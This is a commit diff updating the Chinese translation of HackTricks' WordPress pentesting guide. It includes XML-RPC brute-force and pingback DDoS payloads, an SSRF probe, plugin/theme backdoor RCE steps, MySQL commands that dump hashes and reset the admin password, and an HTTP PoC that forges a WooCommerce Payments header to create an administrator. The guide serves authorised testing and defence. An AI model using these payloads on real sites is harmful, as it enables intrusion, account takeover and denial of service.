mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
db23486e78
commit
8c4bb94585
@ -4,49 +4,49 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
- **上传的** 文件位于: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **主题文件可以在 /wp-content/themes/ 中找到,** 所以如果你更改主题的一些 php 文件以获取 RCE,你可能会使用该路径。例如:使用 **theme twentytwelve** 你可以 **访问** **404.php** 文件在: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** 文件会被存放到: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes 文件可以在 /wp-content/themes/ 找到,** 所以如果你修改主题的某些 php 来获取 RCE,你很可能会使用该路径。例如:使用 **theme twentytwelve** 你可以 **访问** **404.php** 文件于: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **另一个有用的 URL 可能是:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **另一个有用的 url 可能是:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- 在 **wp-config.php** 中你可以找到数据库的根密码。
|
||||
- 默认登录路径检查: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- 在 **wp-config.php** 中你可以找到数据库的 root 密码。
|
||||
- 默认要检查的登录路径: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **主要 WordPress 文件**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` 包含有用的信息,例如安装的 WordPress 版本。
|
||||
- `wp-activate.php` 用于设置新 WordPress 网站时的电子邮件激活过程。
|
||||
- 登录文件夹(可能被重命名以隐藏):
|
||||
- `license.txt` 包含有用的信息,比如安装的 WordPress 版本。
|
||||
- `wp-activate.php` 用于在设置新的 WordPress 站点时的电子邮件激活流程。
|
||||
- 登录路径(可能被重命名以隐藏):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` 是一个代表 WordPress 功能的文件,允许数据通过 HTTP 作为传输机制,XML 作为编码机制进行传输。这种类型的通信已被 WordPress [REST API](https://developer.wordpress.org/rest-api/reference) 替代。
|
||||
- `wp-content` 文件夹是存储插件和主题的主要目录。
|
||||
- `wp-content/uploads/` 是存储上传到平台的任何文件的目录。
|
||||
- `wp-includes/` 这是存储核心文件的目录,例如证书、字体、JavaScript 文件和小部件。
|
||||
- `wp-sitemap.xml` 在 WordPress 版本 5.5 及更高版本中,WordPress 生成一个包含所有公共帖子和可公开查询的帖子类型和分类法的站点地图 XML 文件。
|
||||
- `xmlrpc.php` 是一个文件,代表了 WordPress 的一个功能,允许通过 HTTP 作为传输机制和 XML 作为编码机制来传输数据。这种通信方式已经被 WordPress 的 [REST API](https://developer.wordpress.org/rest-api/reference) 所替代。
|
||||
- `wp-content` 文件夹是存放 plugins 和 themes 的主要目录。
|
||||
- `wp-content/uploads/` 是存放所有上传到平台的文件的目录。
|
||||
- `wp-includes/` 是存放核心文件的目录,例如证书、字体、JavaScript 文件和 widgets。
|
||||
- `wp-sitemap.xml` 在 WordPress 5.5 及更高版本中,WordPress 会生成一个 sitemap XML 文件,包含所有公开的文章以及可公开查询的文章类型和分类法。
|
||||
|
||||
**后期利用**
|
||||
**后渗透 (Post exploitation)**
|
||||
|
||||
- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,例如数据库名称、数据库主机、用户名和密码、认证密钥和盐,以及数据库表前缀。此配置文件还可以用于激活 DEBUG 模式,这在故障排除时非常有用。
|
||||
- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,例如数据库名、数据库主机、用户名和密码、authentication keys and salts,以及数据库表前缀。该配置文件还可以用于启用 DEBUG 模式,这在故障排查时非常有用。
|
||||
|
||||
### 用户权限
|
||||
|
||||
- **管理员**
|
||||
- **编辑**:发布和管理他和其他人的帖子
|
||||
- **作者**:发布和管理自己的帖子
|
||||
- **贡献者**:撰写和管理自己的帖子但不能发布
|
||||
- **订阅者**:浏览帖子并编辑他们的个人资料
|
||||
- **Administrator**
|
||||
- **Editor**: 发布并管理他人和自己的文章
|
||||
- **Author**: 发布并管理自己的文章
|
||||
- **Contributor**: 撰写并管理自己的文章但无法发布
|
||||
- **Subscriber**: 浏览文章并编辑自己的个人资料
|
||||
|
||||
## **被动枚举**
|
||||
|
||||
### **获取 WordPress 版本**
|
||||
|
||||
检查是否可以找到文件 `/license.txt` 或 `/readme.html`
|
||||
检查是否能找到文件 `/license.txt` 或 `/readme.html`
|
||||
|
||||
在页面的 **源代码** 中(来自 [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/) 的示例):
|
||||
在页面的 **源码** 中(示例来自 [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -62,6 +62,8 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
- JavaScript 文件
|
||||
|
||||
.png>)
|
||||
|
||||
### 获取插件
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
@ -70,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### 提取版本一般信息
|
||||
### 通用方式提取版本信息
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
@ -79,35 +81,35 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### 插件和主题
|
||||
|
||||
您可能无法找到所有可能的插件和主题。为了发现它们,您需要**主动暴力破解插件和主题的列表**(希望对我们来说,有自动化工具包含这些列表)。
|
||||
你可能无法找到所有可用的插件和主题。为了发现所有它们,你需要 **actively Brute Force a list of Plugins and Themes**(幸好我们有包含这些列表的自动化工具)。
|
||||
|
||||
### 用户
|
||||
|
||||
- **ID 暴力破解:** 您可以通过暴力破解用户 ID 从 WordPress 网站获取有效用户:
|
||||
- **ID Brute:** 你可以通过 Brute Forcing users IDs 从 WordPress site 获取有效用户:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
如果响应是 **200** 或 **30X**,这意味着 id 是 **有效** 的。如果响应是 **400**,那么 id 是 **无效** 的。
|
||||
如果响应是 **200** 或 **30X**,这意味着该 id 是 **有效的**。如果响应是 **400**,则该 id 是 **无效的**。
|
||||
|
||||
- **wp-json:** 你也可以通过查询来获取用户的信息:
|
||||
- **wp-json:** 你也可以尝试通过查询来获取关于用户的信息:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
另一个可以揭示用户信息的 `/wp-json/` 端点是:
|
||||
另一个可能泄露一些用户信息的 `/wp-json/` 端点是:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
注意,此端点仅公开已发布帖子的用户。**仅提供启用此功能的用户的信息**。
|
||||
注意,该 endpoint 仅会暴露曾发表过 post 的用户。**只会提供已启用此功能的用户的信息**。
|
||||
|
||||
还要注意,**/wp-json/wp/v2/pages** 可能会泄露 IP 地址。
|
||||
另外请注意,**/wp-json/wp/v2/pages** 可能会 leak IP 地址。
|
||||
|
||||
- **登录用户名枚举**:在 **`/wp-login.php`** 登录时,**消息**在指示的 **用户名是否存在** 时是 **不同的**。
|
||||
- **Login username enumeration**: 在通过 **`/wp-login.php`** 登录时,显示的 **消息** 会 **不同**,以指示 **用户名是否存在**。
|
||||
|
||||
### XML-RPC
|
||||
|
||||
如果 `xml-rpc.php` 处于活动状态,您可以执行凭据暴力破解或使用它对其他资源发起 DoS 攻击。(您可以通过[使用这个](https://github.com/relarizky/wpxploit)来自动化此过程,例如)。
|
||||
如果 `xml-rpc.php` 启用,您可以执行 credentials brute-force,或利用它对其他资源发起 DoS 攻击。 (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
|
||||
要查看它是否处于活动状态,请尝试访问 _**/xmlrpc.php**_ 并发送此请求:
|
||||
要检查它是否启用,尝试访问 _**/xmlrpc.php**_ 并发送以下请求:
|
||||
|
||||
**检查**
|
||||
```html
|
||||
@ -118,9 +120,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||

|
||||
|
||||
**凭据暴力破解**
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**、**`wp.getCategories`** 或 **`metaWeblog.getUsersBlogs`** 是一些可以用来暴力破解凭据的方法。如果你能找到其中任何一个,你可以发送类似于:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** 或 **`metaWeblog.getUsersBlogs`** 是一些可以用来 brute-force credentials 的方法。如果你能找到其中任何一个,你可以发送类似如下的内容:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -130,13 +132,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
消息 _"用户名或密码不正确"_ 应在 200 代码响应中出现,如果凭据无效。
|
||||
如果 credentials 无效,200 code response 内应该出现消息 _"Incorrect username or password"_。
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
使用正确的凭据,您可以上传文件。在响应中,路径将出现 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
使用正确的 credentials 可以 upload a file。在 response 中会显示 path ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -166,18 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
还有一种**更快的方法**可以使用**`system.multicall`**进行暴力破解凭据,因为您可以在同一请求中尝试多个凭据:
|
||||
此外,还有一种使用 **`system.multicall`** 来更快速暴力破解凭据的方法,因为你可以在同一个请求中尝试多个凭据:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**绕过 2FA**
|
||||
**Bypass 2FA**
|
||||
|
||||
此方法是为程序而非人类设计的,并且较旧,因此不支持 2FA。因此,如果您拥有有效的凭据,但主要入口受到 2FA 保护,**您可能能够利用 xmlrpc.php 使用这些凭据登录,从而绕过 2FA**。请注意,您将无法执行通过控制台可以执行的所有操作,但您仍然可能能够达到 RCE,正如 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 中解释的那样。
|
||||
本方法面向程序而非人工,且较为老旧,因此不支持 2FA。 所以,如果你有有效的 creds 但主入口受 2FA 保护,**你可能能够滥用 xmlrpc.php 使用这些凭据登录,从而绕过 2FA**。注意,你无法执行通过控制台可以完成的所有操作,但你仍可能获得 RCE,正如 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 所解释的。
|
||||
|
||||
**DDoS 或端口扫描**
|
||||
**DDoS or port scanning**
|
||||
|
||||
如果您可以在列表中找到方法 _**pingback.ping**_,则可以使 Wordpress 向任何主机/端口发送任意请求。\
|
||||
这可以用来请求**成千上万**的 Wordpress **站点**去**访问**一个**位置**(因此在该位置造成**DDoS**),或者您可以用它让**Wordpress**去**扫描**某个内部**网络**(您可以指定任何端口)。
|
||||
如果你能在方法列表中找到 _**pingback.ping**_,你可以让 Wordpress 向任意主机/端口发送任意请求。\
|
||||
这可以用来让 **成千上万** 个 Wordpress **站点** **访问** 同一 **位置**(从而在该位置造成 **DDoS**),或者你可以用它让 **Wordpress** **扫描** 某些内部 **网络**(你可以指定任意端口)。
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -189,9 +191,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||

|
||||
|
||||
如果你得到的 **faultCode** 值 **大于** **0** (17),这意味着端口是开放的。
|
||||
如果你得到 **faultCode** 的值 **大于** **0**(17),这意味着 port 是开放的。
|
||||
|
||||
查看上一节中 **`system.multicall`** 的使用,了解如何利用此方法造成 DDoS。
|
||||
查看上一节中 **`system.multicall`** 的用法,了解如何滥用此方法来引发 DDoS。
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -207,17 +209,17 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
此文件通常位于Wordpress网站的根目录下:**`/wp-cron.php`**\
|
||||
当访问此文件时,会执行一个“**重**”的MySQL **查询**,因此可能被**攻击者**用来**造成****DoS**。\
|
||||
此外,默认情况下,`wp-cron.php`在每次页面加载时被调用(每当客户端请求任何Wordpress页面时),在高流量网站上可能会导致问题(DoS)。
|
||||
此文件通常位于 WordPress 站点根目录: **`/wp-cron.php`**\
|
||||
当此文件被 **访问** 时,会执行一次“**繁重**”的 MySQL **查询**,因此可能被 **attackers** 用来 **cause** 一个 **DoS**。\
|
||||
此外,默认情况下,`wp-cron.php` 在每次页面加载时都会被调用(任何客户端请求任何 WordPress 页面时),在高流量站点上这可能会导致问题(DoS)。
|
||||
|
||||
建议禁用Wp-Cron,并在主机中创建一个真实的cronjob,以定期执行所需的操作(而不造成问题)。
|
||||
建议禁用 Wp-Cron 并在主机内创建一个真实的 cronjob,以固定间隔执行所需操作(避免造成问题)。
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
尝试访问_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_,Wordpress网站可能会向您发出请求。
|
||||
尝试访问 _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_,WordPress 站点可能会向你发起请求。
|
||||
|
||||
当它不起作用时的响应是:
|
||||
This is the response when it doesn't work:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -228,7 +230,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
此工具检查**methodName: pingback.ping**和路径**/wp-json/oembed/1.0/proxy**,如果存在,则尝试利用它们。
|
||||
该工具检查是否存在 **methodName: pingback.ping** 以及路径 **/wp-json/oembed/1.0/proxy**,如果存在,则尝试利用它们。
|
||||
|
||||
## Automatic Tools
|
||||
```bash
|
||||
@ -236,16 +238,16 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## 通过覆盖一个比特获取访问权限
|
||||
## 通过覆写一个位获取访问权限
|
||||
|
||||
这不仅仅是一次真实攻击,而是一种好奇心。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任何 WordPress 文件的 1 个比特。因此,你可以将文件 `/var/www/html/wp-includes/user.php` 的位置 `5389` 翻转为 NOP NOT (`!`) 操作。
|
||||
与其说是真实攻击,不如说是个好玩的实验。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man] 中,你可以翻转任意 wordpress 文件的 1 bit。因此,你可以翻转文件 `/var/www/html/wp-includes/user.php` 中位置 `5389` 的位,从而将 NOT (`!`) 操作 NOP 掉。
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **面板 RCE**
|
||||
|
||||
**修改所用主题的 php(需要管理员凭据)**
|
||||
**修改所使用主题中的 php(需要 admin credentials)**
|
||||
|
||||
外观 → 主题编辑器 → 404 模板(在右侧)
|
||||
|
||||
@ -253,105 +255,105 @@ return new WP_Error(
|
||||
|
||||
.png>)
|
||||
|
||||
在互联网上搜索如何访问该更新页面。在这种情况下,您必须访问这里: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
在网上搜索如何访问该已更新页面。本例中你需要访问这里: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
您可以使用:
|
||||
你可以使用:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
to get a session.
|
||||
以获取会话。
|
||||
|
||||
## 插件 RCE
|
||||
|
||||
### PHP 插件
|
||||
|
||||
可能可以将 .php 文件作为插件上传。\
|
||||
使用例如以下方法创建您的 php 后门:
|
||||
举例创建你的 php 后门,例如:
|
||||
|
||||
.png>)
|
||||
|
||||
然后添加一个新插件:
|
||||
然后添加一个新的插件:
|
||||
|
||||
.png>)
|
||||
|
||||
上传插件并按“立即安装”:
|
||||
上传插件并按 Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
点击继续:
|
||||
点击 Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
这可能看起来没有任何反应,但如果您去媒体,您会看到您的 shell 已上传:
|
||||
表面上看这可能不会有任何反应,但如果你转到 Media,你会看到你的 shell 已上传:
|
||||
|
||||
.png>)
|
||||
|
||||
访问它,您将看到执行反向 shell 的 URL:
|
||||
访问它,你会看到用于执行 reverse shell 的 URL:
|
||||
|
||||
.png>)
|
||||
|
||||
### 上传和激活恶意插件
|
||||
### 上传并激活恶意插件
|
||||
|
||||
此方法涉及安装已知存在漏洞的恶意插件,并可以利用该漏洞获取 web shell。此过程通过 WordPress 仪表板进行,如下所示:
|
||||
此方法涉及安装已知存在漏洞的恶意插件并利用它获取 web shell。该过程通过 WordPress 仪表板按如下方式进行:
|
||||
|
||||
1. **插件获取**:从像 Exploit DB 这样的来源获取插件,如 [**这里**](https://www.exploit-db.com/exploits/36374)。
|
||||
2. **插件安装**:
|
||||
- 导航到 WordPress 仪表板,然后转到 `仪表板 > 插件 > 上传插件`。
|
||||
- 上传下载插件的 zip 文件。
|
||||
3. **插件激活**:一旦插件成功安装,必须通过仪表板激活它。
|
||||
4. **利用**:
|
||||
- 安装并激活插件“reflex-gallery”,可以利用它,因为已知存在漏洞。
|
||||
- Metasploit 框架提供了此漏洞的利用。通过加载适当的模块并执行特定命令,可以建立 meterpreter 会话,从而获得对站点的未经授权访问。
|
||||
- 注意,这只是利用 WordPress 网站的众多方法之一。
|
||||
1. **插件获取**: 插件从像 Exploit DB 这样的来源获取,例如 [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **插件安装**:
|
||||
- 导航到 WordPress 仪表板,然后前往 `Dashboard > Plugins > Upload Plugin`.
|
||||
- 上传下载的插件的 zip 文件。
|
||||
3. **插件激活**: 插件成功安装后,必须通过仪表板激活。
|
||||
4. **利用**:
|
||||
- 安装并激活插件 "reflex-gallery" 后,可以对其进行利用,因为它已知存在漏洞。
|
||||
- Metasploit framework 提供了该漏洞的利用模块。通过加载相应模块并执行特定命令,可以建立 meterpreter 会话,从而获得对站点的未授权访问。
|
||||
- 注意,这只是利用 WordPress 站点的众多方法之一。
|
||||
|
||||
内容包括描述在 WordPress 仪表板中安装和激活插件步骤的视觉辅助工具。然而,重要的是要注意,以这种方式利用漏洞在没有适当授权的情况下是非法和不道德的。此信息应负责任地使用,仅在法律背景下使用,例如在获得明确许可的渗透测试中。
|
||||
内容包含在 WordPress 仪表板中安装并激活插件步骤的示意图。然而,请注意,在没有适当授权的情况下以这种方式利用漏洞是非法且不道德的。此信息应负责任地使用,并且仅在合法场景中,例如具有明确许可的 penetration testing。
|
||||
|
||||
**有关更详细的步骤,请查看:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## 从 XSS 到 RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike):_**WPXStrike**_ 是一个旨在将 **跨站脚本 (XSS)** 漏洞升级为 **远程代码执行 (RCE)** 或其他 WordPress 中的关键漏洞的脚本。有关更多信息,请查看 [**此帖子**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 **Wordpress 版本 6.X.X、5.X.X 和 4.X.X 的支持,并允许:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ 是一个脚本,旨在将 **Cross-Site Scripting (XSS)** 漏洞升级为 **Remote Code Execution (RCE)** 或其它 WordPress 的严重漏洞。更多信息见 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). 它为 Wordpress 版本 6.X.X、5.X.X 和 4.X.X 提供支持,并允许:
|
||||
- _**权限提升:**_ 在 WordPress 中创建用户。
|
||||
- _**(RCE) 自定义插件(后门)上传:**_ 将您的自定义插件(后门)上传到 WordPress。
|
||||
- _**(RCE) 自定义插件(后门)上传:**_ 将你的自定义插件(后门)上传到 WordPress。
|
||||
- _**(RCE) 内置插件编辑:**_ 编辑 WordPress 中的内置插件。
|
||||
- _**(RCE) 内置主题编辑:**_ 编辑 WordPress 中的内置主题。
|
||||
- _**(自定义) 自定义利用:**_ 针对第三方 WordPress 插件/主题的自定义利用。
|
||||
- _**(Custom) 自定义利用:**_ 针对第三方 WordPress 插件/主题的自定义利用。
|
||||
|
||||
## 后期利用
|
||||
## 后利用
|
||||
|
||||
提取用户名和密码:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
更改管理员密码:
|
||||
更改 admin password:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress 插件渗透测试
|
||||
## Wordpress 插件 Pentest
|
||||
|
||||
### 攻击面
|
||||
|
||||
了解 Wordpress 插件如何暴露功能是发现其功能漏洞的关键。您可以在以下要点中找到插件可能暴露功能的方式,以及一些易受攻击插件的示例在 [**这篇博客文章**](https://nowotarski.info/wordpress-nonce-authorization/) 中。
|
||||
了解 Wordpress 插件如何暴露功能对于发现其功能性漏洞至关重要。你可以在下面的要点中找到插件可能暴露功能的方式,以及[**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) 中的一些易受攻击插件示例。
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
插件暴露功能的一种方式是通过 AJAX 处理程序。这些处理程序可能包含逻辑、授权或身份验证漏洞。此外,这些函数通常会基于 Wordpress nonce 的存在来进行身份验证和授权,而 **任何在 Wordpress 实例中经过身份验证的用户都可能拥有**(无论其角色如何)。
|
||||
插件将函数暴露给用户的方法之一是通过 AJAX 处理程序。这些处理程序可能包含逻辑、授权或认证漏洞。此外,这类函数经常同时将认证和授权的依据放在 wordpress nonce 的存在上,而 **任何在该 Wordpress 实例中已认证的用户都可能拥有该 nonce**(与其角色无关)。
|
||||
|
||||
这些是可以用来在插件中暴露功能的函数:
|
||||
以下是可用于在插件中暴露函数的函数:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**使用 `nopriv` 使得端点可以被任何用户访问(甚至是未认证的用户)。**
|
||||
**使用 `nopriv` 会使该端点对任何用户可访问(甚至未认证的用户)。**
|
||||
|
||||
> [!CAUTION]
|
||||
> 此外,如果该函数只是使用 `wp_verify_nonce` 检查用户的授权,该函数仅检查用户是否已登录,通常并不检查用户的角色。因此,低权限用户可能会访问高权限的操作。
|
||||
> 此外,如果函数只是通过 `wp_verify_nonce` 检查用户的授权,这个函数只会检查用户是否已登录,通常不会检查用户的角色。因此低权限用户可能能访问高权限操作。
|
||||
|
||||
- **REST API**
|
||||
|
||||
还可以通过使用 `register_rest_route` 函数从 WordPress 注册一个 REST API 来暴露函数:
|
||||
也可以通过在 wordpress 中使用 `register_rest_route` 函数注册 REST API 来暴露函数:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -361,23 +363,68 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
`permission_callback` 是一个回调函数,用于检查给定用户是否有权调用 API 方法。
|
||||
The `permission_callback` is a callback to function that checks if a given user is authorized to call the API method.
|
||||
|
||||
**如果使用内置的 `__return_true` 函数,它将简单地跳过用户权限检查。**
|
||||
**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
|
||||
|
||||
- **直接访问 php 文件**
|
||||
|
||||
当然,WordPress 使用 PHP,插件中的文件可以直接从网络访问。因此,如果一个插件暴露了任何通过访问文件触发的脆弱功能,任何用户都可以利用它。
|
||||
当然,Wordpress 使用 PHP,插件内的文件可以直接通过 web 访问。因此,如果某个插件暴露了任何仅通过访问该文件即可触发的易受攻击功能,那么任何用户都可以利用它。
|
||||
|
||||
### 通过 wp_ajax_nopriv 进行未认证的任意文件删除 (Litho 主题 <= 3.0)
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
WordPress 主题和插件经常通过 `wp_ajax_` 和 `wp_ajax_nopriv_` 钩子暴露 AJAX 处理程序。当使用 **_nopriv_** 变体时,**回调可以被未认证的访客访问**,因此任何敏感操作必须额外实现:
|
||||
一些插件为内部集成或 reverse proxies 实现了 “trusted header” 捷径,然后使用该 header 为 REST 请求设置当前用户上下文。如果该 header 未被上游组件以加密方式绑定到请求,攻击者可以伪造它,并以管理员身份访问有特权的 REST 路由。
|
||||
|
||||
1. **能力检查**(例如 `current_user_can()` 或至少 `is_user_logged_in()`),以及
|
||||
2. 使用 `check_ajax_referer()` / `wp_verify_nonce()` 验证的 **CSRF nonce**,以及
|
||||
3. **严格的输入清理/验证**。
|
||||
- Impact: 未经身份验证的权限提升为管理员,攻击者可通过核心 users REST 路由创建新的管理员。
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (强制使用用户 ID 1,通常是第一个管理员账号)。
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
|
||||
|
||||
Litho 多用途主题(< 3.1)在 *Remove Font Family* 功能中忘记了这 3 个控制,最终发布了以下代码(简化版):
|
||||
PoC
|
||||
```http
|
||||
POST /wp-json/wp/v2/users HTTP/1.1
|
||||
Host: <WP HOST>
|
||||
User-Agent: Mozilla/5.0
|
||||
Accept: application/json
|
||||
Content-Type: application/json
|
||||
X-Wcpay-Platform-Checkout-User: 1
|
||||
Content-Length: 114
|
||||
|
||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||
```
|
||||
为什么可行
|
||||
|
||||
- 插件将客户端可控的头映射到认证状态并跳过权限(capability)检查。
|
||||
- WordPress core 对该路由期望 `create_users` capability;该插件的绕过通过直接从头设置当前用户上下文来避开它。
|
||||
|
||||
预期成功指标
|
||||
|
||||
- 返回 HTTP 201,并带有描述所创建用户的 JSON 正文。
|
||||
- 在 `wp-admin/users.php` 中可见一个新的管理员用户。
|
||||
|
||||
检测清单
|
||||
|
||||
- 搜索 `getallheaders()`、`$_SERVER['HTTP_...']`,或读取自定义头以设置用户上下文的第三方 SDK(例如 `wp_set_current_user()`、`wp_set_auth_cookie()`)。
|
||||
- 审查 REST 注册,查找缺乏健壮 `permission_callback` 检查而转而依赖请求头的特权回调。
|
||||
- 查找在 REST 处理器中仅通过头值进行门控的核心用户管理函数(`wp_insert_user`、`wp_create_user`)的使用情况。
|
||||
|
||||
加固
|
||||
|
||||
